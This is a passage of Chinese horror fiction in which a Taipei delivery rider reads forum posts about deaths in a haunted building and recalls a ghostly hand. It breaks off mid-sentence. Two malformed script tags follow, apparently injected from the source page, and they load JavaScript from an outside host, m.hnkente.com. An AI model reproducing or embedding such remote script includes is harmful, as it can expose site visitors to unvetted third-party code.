搜索结果让他的手僵在了屏幕上。
第一条是PTT的帖子,标题写着:「昭和大厦到底死了多少人?八卦版有人整理过吗?」他点进去看,底下的回复一条比一条骇人——
「1984年时代大饭店火灾,19死49伤,玻璃帷幕烟囱效应,三楼以下的人连跑都跑不掉,直接被浓烟活活呛死。」
「1986年烧肉粽事件,一个女的跳楼自杀压死了底下卖肉粽的摊贩,小贩当场死亡,女的轻伤。」
「1996年又火灾,2死61伤,据说是六楼住户跟人有纠纷,对方纵火报复。」
「2010年双尸命案,黑道份子枪杀女友之后自杀,两人在床上陈尸多日才被发现,臭味飘了整层楼。」
「2020年有人专程跑来跳楼,说是google台北第一凶宅搜到的就是这栋。」
「2023年一年就跳了五六个,全都是外面的人跑来的,不是住户。」
「六楼有个百人祠堂,里面摆了上百个牌位,据说就是当年火灾死的人,活人跟牌位住同一层楼,阴阳两界混在一起,你说邪不邪门?」
嘉宏的视线停在了“六楼”两个字上。
他刚才去的,就是六楼。六楼之五,就在那个百人祠堂隔壁。
他想起自己在走廊里听到的闷响、在黑暗中看到的反光、以及那扇从虚掩的铁门后伸出来的惨白的手——那只手涂着暗红色的指甲油,指甲盖下方发黑,像是已经死去很久的尸体才会有的颜色。
那是女人的手。年轻女人的手。
他想起了那则备注:「不要敲门,放在门口地板上就好」。
如果那间屋子里的住户已经死了呢?
如果那袋炸鸡是点给自己吃的呢?
凌晨三点的台北街头,车流稀少,路灯拉出长长的光影。陈嘉宏把机车停在路边,蹲在骑楼柱子旁边,抽完了口袋里最后一根烟。他把烟蒂按灭在鞋底,掏出手机,打开了那个他从来不相信的、但每个月还是会去刷几下的星座运势App。
屏幕上跳出一行字:「今天不宜外出,特别是夜晚。避免进入任何阴暗封闭的空间。」
他苦笑了一声,关掉App,把手机塞回口袋。然后他做了一件自己都觉得可笑的事——他掏出皮夹里的行天宫平安符,那是他妈去年过年时去求来的,他一
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">